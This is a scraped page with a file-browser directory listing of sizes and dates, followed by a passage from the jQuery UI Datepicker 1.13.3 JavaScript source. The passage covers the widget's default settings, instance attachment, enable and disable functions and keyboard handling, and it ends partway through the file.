run:R W Run
22.84 KB
2024-09-04 11:48:32
R W Run
15.73 KB
2024-09-04 11:48:32
R W Run
24.2 KB
2024-09-04 11:48:32
R W Run
15.41 KB
2024-09-04 11:48:32
R W Run
18.51 KB
2024-09-04 11:48:32
R W Run
13.09 KB
2024-09-04 11:48:32
R W Run
14.49 KB
2024-09-04 11:48:32
R W Run
11.32 KB
2024-09-04 11:48:32
R W Run
15.5 KB
2024-09-04 11:48:32
R W Run
11.38 KB
2024-09-04 11:48:32
R W Run
55.8 KB
2024-09-04 11:48:32
R W Run
28.04 KB
2025-04-16 02:33:33
R W Run
87.67 KB
2024-09-04 11:48:32
R W Run
42.96 KB
2025-04-16 02:33:33
R W Run
30.41 KB
2024-09-04 11:48:32
R W Run
19.87 KB
2024-09-04 11:48:32
R W Run
41.79 KB
2024-09-04 11:48:32
R W Run
25.07 KB
2024-09-04 11:48:32
R W Run
19.67 KB
2024-09-04 11:48:32
R W Run
13.59 KB
2024-09-04 11:48:32
R W Run
8.68 KB
2024-09-04 11:48:32
R W Run
7.94 KB
2024-09-04 11:48:32
R W Run
9.67 KB
2024-09-04 11:48:32
R W Run
8.05 KB
2024-09-04 11:48:32
R W Run
8.62 KB
2024-09-04 11:48:32
R W Run
7.86 KB
2024-09-04 11:48:32
R W Run
8.63 KB
2024-09-04 11:48:32
R W Run
7.81 KB
2024-09-04 11:48:32
R W Run
9.93 KB
2024-09-04 11:48:32
R W Run
8.17 KB
2024-09-04 11:48:32
R W Run
8.02 KB
2024-09-04 11:48:32
R W Run
7.59 KB
2024-09-04 11:48:32
R W Run
9.21 KB
2024-09-04 11:48:32
R W Run
8.07 KB
2024-09-04 11:48:32
R W Run
8.29 KB
2024-09-04 11:48:32
R W Run
7.71 KB
2024-09-04 11:48:32
R W Run
8.05 KB
2024-09-04 11:48:32
R W Run
7.58 KB
2024-09-04 11:48:32
R W Run
8.61 KB
2024-09-04 11:48:32
R W Run
7.75 KB
2024-09-04 11:48:32
R W Run
8.42 KB
2024-09-04 11:48:32
R W Run
7.78 KB
2024-09-04 11:48:32
R W Run
8.92 KB
2024-09-04 11:48:32
R W Run
7.9 KB
2024-09-04 11:48:32
R W Run
12.37 KB
2024-09-04 11:48:32
R W Run
9.51 KB
2024-09-04 11:48:32
R W Run
9 KB
2024-09-04 11:48:32
R W Run
7.97 KB
2024-09-04 11:48:32
R W Run
7.94 KB
2024-09-04 11:48:32
R W Run
7.51 KB
2024-09-04 11:48:32
R W Run
31.11 KB
2024-09-04 11:48:32
R W Run
17.17 KB
2024-09-04 11:48:32
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
25.59 KB
2024-09-04 11:48:32
R W Run
17.04 KB
2024-09-04 11:48:32
R W Run
13.16 KB
2024-09-04 11:48:32
R W Run
10.43 KB
2024-09-04 11:48:32
R W Run
11.22 KB
2024-09-04 11:48:32
R W Run
9.58 KB
2024-09-04 11:48:32
R W Run
36.85 KB
2024-09-04 11:48:32
R W Run
25.46 KB
2024-09-04 11:48:32
R W Run
15.02 KB
2024-09-04 11:48:32
R W Run
11.48 KB
2025-04-16 02:33:33
R W Run
23.04 KB
2024-09-04 11:48:32
R W Run
16.36 KB
2024-09-04 11:48:32
R W Run
26.22 KB
2024-09-04 11:48:32
R W Run
17.58 KB
2024-09-04 11:48:32
R W Run
53.6 KB
2024-09-04 11:48:32
R W Run
31.98 KB
2024-09-04 11:48:32
R W Run
21.17 KB
2024-09-04 11:48:32
R W Run
14.57 KB
2024-09-04 11:48:32
R W Run
30.19 KB
2024-09-04 11:48:32
R W Run
18.8 KB
2024-09-04 11:48:32
R W Run
21.21 KB
2024-09-04 11:48:32
R W Run
13.18 KB
2024-09-04 11:48:32
R W Run
error_log
📄datepicker.js
1/* eslint-disable max-len, camelcase */
2/*!
3 * jQuery UI Datepicker 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Datepicker
12//>>group: Widgets
13//>>description: Displays a calendar from an input or inline for selecting dates.
14//>>docs: https://api.jqueryui.com/datepicker/
15//>>demos: https://jqueryui.com/datepicker/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/datepicker.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28 "../version",
29 "../keycode"
30 ], factory );
31 } else {
32
33 // Browser globals
34 factory( jQuery );
35 }
36} )( function( $ ) {
37"use strict";
38
39$.extend( $.ui, { datepicker: { version: "1.13.3" } } );
40
41var datepicker_instActive;
42
43function datepicker_getZindex( elem ) {
44 var position, value;
45 while ( elem.length && elem[ 0 ] !== document ) {
46
47 // Ignore z-index if position is set to a value where z-index is ignored by the browser
48 // This makes behavior of this function consistent across browsers
49 // WebKit always returns auto if the element is positioned
50 position = elem.css( "position" );
51 if ( position === "absolute" || position === "relative" || position === "fixed" ) {
52
53 // IE returns 0 when zIndex is not specified
54 // other browsers return a string
55 // we ignore the case of nested elements with an explicit value of 0
56 // <div style="z-index: -10;"><div style="z-index: 0;"></div></div>
57 value = parseInt( elem.css( "zIndex" ), 10 );
58 if ( !isNaN( value ) && value !== 0 ) {
59 return value;
60 }
61 }
62 elem = elem.parent();
63 }
64
65 return 0;
66}
67
68/* Date picker manager.
69 Use the singleton instance of this class, $.datepicker, to interact with the date picker.
70 Settings for (groups of) date pickers are maintained in an instance object,
71 allowing multiple different settings on the same page. */
72
73function Datepicker() {
74 this._curInst = null; // The current instance in use
75 this._keyEvent = false; // If the last event was a key event
76 this._disabledInputs = []; // List of date picker inputs that have been disabled
77 this._datepickerShowing = false; // True if the popup picker is showing , false if not
78 this._inDialog = false; // True if showing within a "dialog", false if not
79 this._mainDivId = "ui-datepicker-div"; // The ID of the main datepicker division
80 this._inlineClass = "ui-datepicker-inline"; // The name of the inline marker class
81 this._appendClass = "ui-datepicker-append"; // The name of the append marker class
82 this._triggerClass = "ui-datepicker-trigger"; // The name of the trigger marker class
83 this._dialogClass = "ui-datepicker-dialog"; // The name of the dialog marker class
84 this._disableClass = "ui-datepicker-disabled"; // The name of the disabled covering marker class
85 this._unselectableClass = "ui-datepicker-unselectable"; // The name of the unselectable cell marker class
86 this._currentClass = "ui-datepicker-current-day"; // The name of the current day marker class
87 this._dayOverClass = "ui-datepicker-days-cell-over"; // The name of the day hover marker class
88 this.regional = []; // Available regional settings, indexed by language code
89 this.regional[ "" ] = { // Default regional settings
90 closeText: "Done", // Display text for close link
91 prevText: "Prev", // Display text for previous month link
92 nextText: "Next", // Display text for next month link
93 currentText: "Today", // Display text for current month link
94 monthNames: [ "January", "February", "March", "April", "May", "June",
95 "July", "August", "September", "October", "November", "December" ], // Names of months for drop-down and formatting
96 monthNamesShort: [ "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" ], // For formatting
97 dayNames: [ "Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday" ], // For formatting
98 dayNamesShort: [ "Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat" ], // For formatting
99 dayNamesMin: [ "Su", "Mo", "Tu", "We", "Th", "Fr", "Sa" ], // Column headings for days starting at Sunday
100 weekHeader: "Wk", // Column header for week of the year
101 dateFormat: "mm/dd/yy", // See format options on parseDate
102 firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ...
103 isRTL: false, // True if right-to-left language, false if left-to-right
104 showMonthAfterYear: false, // True if the year select precedes month, false for month then year
105 yearSuffix: "", // Additional text to append to the year in the month headers,
106 selectMonthLabel: "Select month", // Invisible label for month selector
107 selectYearLabel: "Select year" // Invisible label for year selector
108 };
109 this._defaults = { // Global defaults for all the date picker instances
110 showOn: "focus", // "focus" for popup on focus,
111 // "button" for trigger button, or "both" for either
112 showAnim: "fadeIn", // Name of jQuery animation for popup
113 showOptions: {}, // Options for enhanced animations
114 defaultDate: null, // Used when field is blank: actual date,
115 // +/-number for offset from today, null for today
116 appendText: "", // Display text following the input box, e.g. showing the format
117 buttonText: "...", // Text for trigger button
118 buttonImage: "", // URL for trigger button image
119 buttonImageOnly: false, // True if the image appears alone, false if it appears on a button
120 hideIfNoPrevNext: false, // True to hide next/previous month links
121 // if not applicable, false to just disable them
122 navigationAsDateFormat: false, // True if date formatting applied to prev/today/next links
123 gotoCurrent: false, // True if today link goes back to current selection instead
124 changeMonth: false, // True if month can be selected directly, false if only prev/next
125 changeYear: false, // True if year can be selected directly, false if only prev/next
126 yearRange: "c-10:c+10", // Range of years to display in drop-down,
127 // either relative to today's year (-nn:+nn), relative to currently displayed year
128 // (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above (nnnn:-n)
129 showOtherMonths: false, // True to show dates in other months, false to leave blank
130 selectOtherMonths: false, // True to allow selection of dates in other months, false for unselectable
131 showWeek: false, // True to show week of the year, false to not show it
132 calculateWeek: this.iso8601Week, // How to calculate the week of the year,
133 // takes a Date and returns the number of the week for it
134 shortYearCutoff: "+10", // Short year values < this are in the current century,
135 // > this are in the previous century,
136 // string value starting with "+" for current year + value
137 minDate: null, // The earliest selectable date, or null for no limit
138 maxDate: null, // The latest selectable date, or null for no limit
139 duration: "fast", // Duration of display/closure
140 beforeShowDay: null, // Function that takes a date and returns an array with
141 // [0] = true if selectable, false if not, [1] = custom CSS class name(s) or "",
142 // [2] = cell title (optional), e.g. $.datepicker.noWeekends
143 beforeShow: null, // Function that takes an input field and
144 // returns a set of custom settings for the date picker
145 onSelect: null, // Define a callback function when a date is selected
146 onChangeMonthYear: null, // Define a callback function when the month or year is changed
147 onClose: null, // Define a callback function when the datepicker is closed
148 onUpdateDatepicker: null, // Define a callback function when the datepicker is updated
149 numberOfMonths: 1, // Number of months to show at a time
150 showCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0)
151 stepMonths: 1, // Number of months to step back/forward
152 stepBigMonths: 12, // Number of months to step back/forward for the big links
153 altField: "", // Selector for an alternate field to store selected dates into
154 altFormat: "", // The date format to use for the alternate field
155 constrainInput: true, // The input is constrained by the current date format
156 showButtonPanel: false, // True to show button panel, false to not show it
157 autoSize: false, // True to size the input for the date format, false to leave as is
158 disabled: false // The initial disabled state
159 };
160 $.extend( this._defaults, this.regional[ "" ] );
161 this.regional.en = $.extend( true, {}, this.regional[ "" ] );
162 this.regional[ "en-US" ] = $.extend( true, {}, this.regional.en );
163 this.dpDiv = datepicker_bindHover( $( "<div id='" + this._mainDivId + "' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) );
164}
165
166$.extend( Datepicker.prototype, {
167
168 /* Class name added to elements to indicate already configured with a date picker. */
169 markerClassName: "hasDatepicker",
170
171 //Keep track of the maximum number of rows displayed (see #7043)
172 maxRows: 4,
173
174 // TODO rename to "widget" when switching to widget factory
175 _widgetDatepicker: function() {
176 return this.dpDiv;
177 },
178
179 /* Override the default settings for all instances of the date picker.
180 * @param settings object - the new settings to use as defaults (anonymous object)
181 * @return the manager object
182 */
183 setDefaults: function( settings ) {
184 datepicker_extendRemove( this._defaults, settings || {} );
185 return this;
186 },
187
188 /* Attach the date picker to a jQuery selection.
189 * @param target element - the target input field or division or span
190 * @param settings object - the new settings to use for this date picker instance (anonymous)
191 */
192 _attachDatepicker: function( target, settings ) {
193 var nodeName, inline, inst;
194 nodeName = target.nodeName.toLowerCase();
195 inline = ( nodeName === "div" || nodeName === "span" );
196 if ( !target.id ) {
197 this.uuid += 1;
198 target.id = "dp" + this.uuid;
199 }
200 inst = this._newInst( $( target ), inline );
201 inst.settings = $.extend( {}, settings || {} );
202 if ( nodeName === "input" ) {
203 this._connectDatepicker( target, inst );
204 } else if ( inline ) {
205 this._inlineDatepicker( target, inst );
206 }
207 },
208
209 /* Create a new instance object. */
210 _newInst: function( target, inline ) {
211 var id = target[ 0 ].id.replace( /([^A-Za-z0-9_\-])/g, "\\\\$1" ); // escape jQuery meta chars
212 return { id: id, input: target, // associated target
213 selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection
214 drawMonth: 0, drawYear: 0, // month being drawn
215 inline: inline, // is datepicker inline or not
216 dpDiv: ( !inline ? this.dpDiv : // presentation div
217 datepicker_bindHover( $( "<div class='" + this._inlineClass + " ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>" ) ) ) };
218 },
219
220 /* Attach the date picker to an input field. */
221 _connectDatepicker: function( target, inst ) {
222 var input = $( target );
223 inst.append = $( [] );
224 inst.trigger = $( [] );
225 if ( input.hasClass( this.markerClassName ) ) {
226 return;
227 }
228 this._attachments( input, inst );
229 input.addClass( this.markerClassName ).on( "keydown", this._doKeyDown ).
230 on( "keypress", this._doKeyPress ).on( "keyup", this._doKeyUp );
231 this._autoSize( inst );
232 $.data( target, "datepicker", inst );
233
234 //If disabled option is true, disable the datepicker once it has been attached to the input (see ticket #5665)
235 if ( inst.settings.disabled ) {
236 this._disableDatepicker( target );
237 }
238 },
239
240 /* Make attachments based on settings. */
241 _attachments: function( input, inst ) {
242 var showOn, buttonText, buttonImage,
243 appendText = this._get( inst, "appendText" ),
244 isRTL = this._get( inst, "isRTL" );
245
246 if ( inst.append ) {
247 inst.append.remove();
248 }
249 if ( appendText ) {
250 inst.append = $( "<span>" )
251 .addClass( this._appendClass )
252 .text( appendText );
253 input[ isRTL ? "before" : "after" ]( inst.append );
254 }
255
256 input.off( "focus", this._showDatepicker );
257
258 if ( inst.trigger ) {
259 inst.trigger.remove();
260 }
261
262 showOn = this._get( inst, "showOn" );
263 if ( showOn === "focus" || showOn === "both" ) { // pop-up date picker when in the marked field
264 input.on( "focus", this._showDatepicker );
265 }
266 if ( showOn === "button" || showOn === "both" ) { // pop-up date picker when button clicked
267 buttonText = this._get( inst, "buttonText" );
268 buttonImage = this._get( inst, "buttonImage" );
269
270 if ( this._get( inst, "buttonImageOnly" ) ) {
271 inst.trigger = $( "<img>" )
272 .addClass( this._triggerClass )
273 .attr( {
274 src: buttonImage,
275 alt: buttonText,
276 title: buttonText
277 } );
278 } else {
279 inst.trigger = $( "<button type='button'>" )
280 .addClass( this._triggerClass );
281 if ( buttonImage ) {
282 inst.trigger.html(
283 $( "<img>" )
284 .attr( {
285 src: buttonImage,
286 alt: buttonText,
287 title: buttonText
288 } )
289 );
290 } else {
291 inst.trigger.text( buttonText );
292 }
293 }
294
295 input[ isRTL ? "before" : "after" ]( inst.trigger );
296 inst.trigger.on( "click", function() {
297 if ( $.datepicker._datepickerShowing && $.datepicker._lastInput === input[ 0 ] ) {
298 $.datepicker._hideDatepicker();
299 } else if ( $.datepicker._datepickerShowing && $.datepicker._lastInput !== input[ 0 ] ) {
300 $.datepicker._hideDatepicker();
301 $.datepicker._showDatepicker( input[ 0 ] );
302 } else {
303 $.datepicker._showDatepicker( input[ 0 ] );
304 }
305 return false;
306 } );
307 }
308 },
309
310 /* Apply the maximum length for the date format. */
311 _autoSize: function( inst ) {
312 if ( this._get( inst, "autoSize" ) && !inst.inline ) {
313 var findMax, max, maxI, i,
314 date = new Date( 2009, 12 - 1, 20 ), // Ensure double digits
315 dateFormat = this._get( inst, "dateFormat" );
316
317 if ( dateFormat.match( /[DM]/ ) ) {
318 findMax = function( names ) {
319 max = 0;
320 maxI = 0;
321 for ( i = 0; i < names.length; i++ ) {
322 if ( names[ i ].length > max ) {
323 max = names[ i ].length;
324 maxI = i;
325 }
326 }
327 return maxI;
328 };
329 date.setMonth( findMax( this._get( inst, ( dateFormat.match( /MM/ ) ?
330 "monthNames" : "monthNamesShort" ) ) ) );
331 date.setDate( findMax( this._get( inst, ( dateFormat.match( /DD/ ) ?
332 "dayNames" : "dayNamesShort" ) ) ) + 20 - date.getDay() );
333 }
334 inst.input.attr( "size", this._formatDate( inst, date ).length );
335 }
336 },
337
338 /* Attach an inline date picker to a div. */
339 _inlineDatepicker: function( target, inst ) {
340 var divSpan = $( target );
341 if ( divSpan.hasClass( this.markerClassName ) ) {
342 return;
343 }
344 divSpan.addClass( this.markerClassName ).append( inst.dpDiv );
345 $.data( target, "datepicker", inst );
346 this._setDate( inst, this._getDefaultDate( inst ), true );
347 this._updateDatepicker( inst );
348 this._updateAlternate( inst );
349
350 //If disabled option is true, disable the datepicker before showing it (see ticket #5665)
351 if ( inst.settings.disabled ) {
352 this._disableDatepicker( target );
353 }
354
355 // Set display:block in place of inst.dpDiv.show() which won't work on disconnected elements
356 // https://bugs.jqueryui.com/ticket/7552 - A Datepicker created on a detached div has zero height
357 inst.dpDiv.css( "display", "block" );
358 },
359
360 /* Pop-up the date picker in a "dialog" box.
361 * @param input element - ignored
362 * @param date string or Date - the initial date to display
363 * @param onSelect function - the function to call when a date is selected
364 * @param settings object - update the dialog date picker instance's settings (anonymous object)
365 * @param pos int[2] - coordinates for the dialog's position within the screen or
366 * event - with x/y coordinates or
367 * leave empty for default (screen centre)
368 * @return the manager object
369 */
370 _dialogDatepicker: function( input, date, onSelect, settings, pos ) {
371 var id, browserWidth, browserHeight, scrollX, scrollY,
372 inst = this._dialogInst; // internal instance
373
374 if ( !inst ) {
375 this.uuid += 1;
376 id = "dp" + this.uuid;
377 this._dialogInput = $( "<input type='text' id='" + id +
378 "' style='position: absolute; top: -100px; width: 0px;'/>" );
379 this._dialogInput.on( "keydown", this._doKeyDown );
380 $( "body" ).append( this._dialogInput );
381 inst = this._dialogInst = this._newInst( this._dialogInput, false );
382 inst.settings = {};
383 $.data( this._dialogInput[ 0 ], "datepicker", inst );
384 }
385 datepicker_extendRemove( inst.settings, settings || {} );
386 date = ( date && date.constructor === Date ? this._formatDate( inst, date ) : date );
387 this._dialogInput.val( date );
388
389 this._pos = ( pos ? ( pos.length ? pos : [ pos.pageX, pos.pageY ] ) : null );
390 if ( !this._pos ) {
391 browserWidth = document.documentElement.clientWidth;
392 browserHeight = document.documentElement.clientHeight;
393 scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
394 scrollY = document.documentElement.scrollTop || document.body.scrollTop;
395 this._pos = // should use actual width/height below
396 [ ( browserWidth / 2 ) - 100 + scrollX, ( browserHeight / 2 ) - 150 + scrollY ];
397 }
398
399 // Move input on screen for focus, but hidden behind dialog
400 this._dialogInput.css( "left", ( this._pos[ 0 ] + 20 ) + "px" ).css( "top", this._pos[ 1 ] + "px" );
401 inst.settings.onSelect = onSelect;
402 this._inDialog = true;
403 this.dpDiv.addClass( this._dialogClass );
404 this._showDatepicker( this._dialogInput[ 0 ] );
405 if ( $.blockUI ) {
406 $.blockUI( this.dpDiv );
407 }
408 $.data( this._dialogInput[ 0 ], "datepicker", inst );
409 return this;
410 },
411
412 /* Detach a datepicker from its control.
413 * @param target element - the target input field or division or span
414 */
415 _destroyDatepicker: function( target ) {
416 var nodeName,
417 $target = $( target ),
418 inst = $.data( target, "datepicker" );
419
420 if ( !$target.hasClass( this.markerClassName ) ) {
421 return;
422 }
423
424 nodeName = target.nodeName.toLowerCase();
425 $.removeData( target, "datepicker" );
426 if ( nodeName === "input" ) {
427 inst.append.remove();
428 inst.trigger.remove();
429 $target.removeClass( this.markerClassName ).
430 off( "focus", this._showDatepicker ).
431 off( "keydown", this._doKeyDown ).
432 off( "keypress", this._doKeyPress ).
433 off( "keyup", this._doKeyUp );
434 } else if ( nodeName === "div" || nodeName === "span" ) {
435 $target.removeClass( this.markerClassName ).empty();
436 }
437
438 if ( datepicker_instActive === inst ) {
439 datepicker_instActive = null;
440 this._curInst = null;
441 }
442 },
443
444 /* Enable the date picker to a jQuery selection.
445 * @param target element - the target input field or division or span
446 */
447 _enableDatepicker: function( target ) {
448 var nodeName, inline,
449 $target = $( target ),
450 inst = $.data( target, "datepicker" );
451
452 if ( !$target.hasClass( this.markerClassName ) ) {
453 return;
454 }
455
456 nodeName = target.nodeName.toLowerCase();
457 if ( nodeName === "input" ) {
458 target.disabled = false;
459 inst.trigger.filter( "button" ).
460 each( function() {
461 this.disabled = false;
462 } ).end().
463 filter( "img" ).css( { opacity: "1.0", cursor: "" } );
464 } else if ( nodeName === "div" || nodeName === "span" ) {
465 inline = $target.children( "." + this._inlineClass );
466 inline.children().removeClass( "ui-state-disabled" );
467 inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ).
468 prop( "disabled", false );
469 }
470 this._disabledInputs = $.map( this._disabledInputs,
471
472 // Delete entry
473 function( value ) {
474 return ( value === target ? null : value );
475 } );
476 },
477
478 /* Disable the date picker to a jQuery selection.
479 * @param target element - the target input field or division or span
480 */
481 _disableDatepicker: function( target ) {
482 var nodeName, inline,
483 $target = $( target ),
484 inst = $.data( target, "datepicker" );
485
486 if ( !$target.hasClass( this.markerClassName ) ) {
487 return;
488 }
489
490 nodeName = target.nodeName.toLowerCase();
491 if ( nodeName === "input" ) {
492 target.disabled = true;
493 inst.trigger.filter( "button" ).
494 each( function() {
495 this.disabled = true;
496 } ).end().
497 filter( "img" ).css( { opacity: "0.5", cursor: "default" } );
498 } else if ( nodeName === "div" || nodeName === "span" ) {
499 inline = $target.children( "." + this._inlineClass );
500 inline.children().addClass( "ui-state-disabled" );
501 inline.find( "select.ui-datepicker-month, select.ui-datepicker-year" ).
502 prop( "disabled", true );
503 }
504 this._disabledInputs = $.map( this._disabledInputs,
505
506 // Delete entry
507 function( value ) {
508 return ( value === target ? null : value );
509 } );
510 this._disabledInputs[ this._disabledInputs.length ] = target;
511 },
512
513 /* Is the first field in a jQuery collection disabled as a datepicker?
514 * @param target element - the target input field or division or span
515 * @return boolean - true if disabled, false if enabled
516 */
517 _isDisabledDatepicker: function( target ) {
518 if ( !target ) {
519 return false;
520 }
521 for ( var i = 0; i < this._disabledInputs.length; i++ ) {
522 if ( this._disabledInputs[ i ] === target ) {
523 return true;
524 }
525 }
526 return false;
527 },
528
529 /* Retrieve the instance data for the target control.
530 * @param target element - the target input field or division or span
531 * @return object - the associated instance data
532 * @throws error if a jQuery problem getting data
533 */
534 _getInst: function( target ) {
535 try {
536 return $.data( target, "datepicker" );
537 } catch ( err ) {
538 throw "Missing instance data for this datepicker";
539 }
540 },
541
542 /* Update or retrieve the settings for a date picker attached to an input field or division.
543 * @param target element - the target input field or division or span
544 * @param name object - the new settings to update or
545 * string - the name of the setting to change or retrieve,
546 * when retrieving also "all" for all instance settings or
547 * "defaults" for all global defaults
548 * @param value any - the new value for the setting
549 * (omit if above is an object or to retrieve a value)
550 */
551 _optionDatepicker: function( target, name, value ) {
552 var settings, date, minDate, maxDate,
553 inst = this._getInst( target );
554
555 if ( arguments.length === 2 && typeof name === "string" ) {
556 return ( name === "defaults" ? $.extend( {}, $.datepicker._defaults ) :
557 ( inst ? ( name === "all" ? $.extend( {}, inst.settings ) :
558 this._get( inst, name ) ) : null ) );
559 }
560
561 settings = name || {};
562 if ( typeof name === "string" ) {
563 settings = {};
564 settings[ name ] = value;
565 }
566
567 if ( inst ) {
568 if ( this._curInst === inst ) {
569 this._hideDatepicker();
570 }
571
572 date = this._getDateDatepicker( target, true );
573 minDate = this._getMinMaxDate( inst, "min" );
574 maxDate = this._getMinMaxDate( inst, "max" );
575 datepicker_extendRemove( inst.settings, settings );
576
577 // reformat the old minDate/maxDate values if dateFormat changes and a new minDate/maxDate isn't provided
578 if ( minDate !== null && settings.dateFormat !== undefined && settings.minDate === undefined ) {
579 inst.settings.minDate = this._formatDate( inst, minDate );
580 }
581 if ( maxDate !== null && settings.dateFormat !== undefined && settings.maxDate === undefined ) {
582 inst.settings.maxDate = this._formatDate( inst, maxDate );
583 }
584 if ( "disabled" in settings ) {
585 if ( settings.disabled ) {
586 this._disableDatepicker( target );
587 } else {
588 this._enableDatepicker( target );
589 }
590 }
591 this._attachments( $( target ), inst );
592 this._autoSize( inst );
593 this._setDate( inst, date );
594 this._updateAlternate( inst );
595 this._updateDatepicker( inst );
596 }
597 },
598
599 // Change method deprecated
600 _changeDatepicker: function( target, name, value ) {
601 this._optionDatepicker( target, name, value );
602 },
603
604 /* Redraw the date picker attached to an input field or division.
605 * @param target element - the target input field or division or span
606 */
607 _refreshDatepicker: function( target ) {
608 var inst = this._getInst( target );
609 if ( inst ) {
610 this._updateDatepicker( inst );
611 }
612 },
613
614 /* Set the dates for a jQuery selection.
615 * @param target element - the target input field or division or span
616 * @param date Date - the new date
617 */
618 _setDateDatepicker: function( target, date ) {
619 var inst = this._getInst( target );
620 if ( inst ) {
621 this._setDate( inst, date );
622 this._updateDatepicker( inst );
623 this._updateAlternate( inst );
624 }
625 },
626
627 /* Get the date(s) for the first entry in a jQuery selection.
628 * @param target element - the target input field or division or span
629 * @param noDefault boolean - true if no default date is to be used
630 * @return Date - the current date
631 */
632 _getDateDatepicker: function( target, noDefault ) {
633 var inst = this._getInst( target );
634 if ( inst && !inst.inline ) {
635 this._setDateFromField( inst, noDefault );
636 }
637 return ( inst ? this._getDate( inst ) : null );
638 },
639
640 /* Handle keystrokes. */
641 _doKeyDown: function( event ) {
642 var onSelect, dateStr, sel,
643 inst = $.datepicker._getInst( event.target ),
644 handled = true,
645 isRTL = inst.dpDiv.is( ".ui-datepicker-rtl" );
646
647 inst._keyEvent = true;
648 if ( $.datepicker._datepickerShowing ) {
649 switch ( event.keyCode ) {
650 case 9: $.datepicker._hideDatepicker();
651 handled = false;
652 break; // hide on tab out
653 case 13: sel = $( "td." + $.datepicker._dayOverClass + ":not(." +
654 $.datepicker._currentClass + ")", inst.dpDiv );
655 if ( sel[ 0 ] ) {
656 $.datepicker._selectDay( event.target, inst.selectedMonth, inst.selectedYear, sel[ 0 ] );
657 }
658
659 onSelect = $.datepicker._get( inst, "onSelect" );
660 if ( onSelect ) {
661 dateStr = $.datepicker._formatDate( inst );
662
663 // Trigger custom callback
664 onSelect.apply( ( inst.input ? inst.input[ 0 ] : null ), [ dateStr, inst ] );
665 } else {
666 $.datepicker._hideDatepicker();
667 }
668
669 return false; // don't submit the form
670 case 27: $.datepicker._hideDatepicker();
671 break; // hide on escape
672 case 33: $.datepicker._adjustDate( event.target, ( event.ctrlKey ?
673 -$.datepicker._get( inst, "stepBigMonths" ) :
674 -$.datepicker._get( inst, "stepMonths" ) ), "M" );
675 break; // previous month/year on page up/+ ctrl
676 case 34: $.datepicker._adjustDate( event.target, ( event.ctrlKey ?
677 +$.datepicker._get( inst, "stepBigMonths" ) :
678 +$.datepicker._get( inst, "stepMonths" ) ), "M" );
679 break; // next month/year on page down/+ ctrl
680 case 35: if ( event.ctrlKey || event.metaKey ) {
681 $.datepicker._clearDate( event.target );
682 }
683 handled = event.ctrlKey || event.metaKey;
684 break; // clear on ctrl or command +end
685 case 36: if ( event.ctrlKey || event.metaKey ) {
686 $.datepicker._gotoToday( event.target );
687 }
688 handled = event.ctrlKey || event.metaKey;
689 break; // current on ctrl or command +home
690 case 37: if ( event.ctrlKey || event.metaKey ) {
691 $.datepicker._adjustDate( event.target, ( isRTL ? +1 : -1 ), "D" );
692 }
693 handled = event.ctrlKey || event.metaKey;
694
695 // -1 day on ctrl or command +left
696 if ( event.originalEvent.altKey ) {
697 $.datepicker._adjustDate( event.target, ( event.ctrlKey ?
698 -$.datepicker._get( inst, "stepBigMonths" ) :
699 -$.datepicker._get( inst, "stepMonths" ) ), "M" );
700 }
701
702 // next month/year on alt +left on Mac
703 break;
704 case 38: if ( event.ctrlKey || event.metaKey ) {
705 $.datepicker._adjustDate( event.target, -7, "D" );
706 }
707 handled = event.ctrlKey || event.metaKey;
708 break; // -1 week on ctrl or command +up
709 case 39: if ( event.ctrlKey || event.metaKey ) {
710 $.datepicker._adjustDate( event.target, ( isRTL ? -1 : +1 ), "D" );
711 }
712 handled = event.ctrlKey || event.metaKey;
713
714 // +1 day on ctrl or command +right
715 if ( event.originalEvent.altKey ) {
716 $.datepicker._adjustDate( event.target, ( event.ctrlKey ?
717 +$.datepicker._get( inst, "stepBigMonths" ) :
718 +$.datepicker._get( inst, "stepMonths" ) ), "M" );
719 }
720
721 // next month/year on alt +right
722 break;
723 case 40: if ( event.ctrlKey || event.metaKey ) {
724 $.datepicker._adjustDate( event.target, +7, "D" );
725 }
726 handled = event.ctrlKey || event.metaKey;
727 break; // +1 week on ctrl or command +down
728 default: handled = false;
729 }
730 } else if ( event.keyCode === 36 && event.ctrlKey ) { // display the date picker on ctrl+home
731 $.datepicker._showDatepicker( this );
732 } else {
733 handled = false;
734 }
735
736 if ( handled ) {
737 event.preventDefault();
738 event.stopPropagation();
739 }
740 },
741
742 /* Filter entered characters - based on date format. */
743 _doKeyPress: function( event ) {
744 var chars, chr,
745 inst = $.datepicker._getInst( event.target );
746
747 if ( $.datepicker._get( inst, "constrainInput" ) ) {
748 chars = $.datepicker._possibleChars( $.datepicker._get( inst, "dateFormat" ) );
749 chr = String.fromCharCode( event.charCode == null ? event.keyCode : event.charCode );
750 return event.ctrlKey || event.metaKey || ( chr < " " || !chars || chars.indexOf( chr ) > -1 );
751 }
752 },
753
754 /* Synchronise manual entry and field/alternate field. */
755 _doKeyUp: function( event ) {
756 var date,
757 inst = $.datepicker._getInst( event.target );
758
759 if ( inst.input.val() !== inst.lastVal ) {
760 try {
761 date = $.datepicker.parseDate( $.datepicker._get( inst, "dateFormat" ),
762 ( inst.input ? inst.input.val() : null ),
763 $.datepicker._getFormatConfig( inst ) );
764
765 if ( date ) { // only if valid
766 $.datepicker._setDateFromField( inst );
767 $.datepicker._updateAlternate( inst );
768 $.datepicker._updateDatepicker( inst );
769 }
770 } catch ( err ) {
771 }
772 }
773 return true;
774 },
775
776 /* Pop-up the date picker for a given input field.
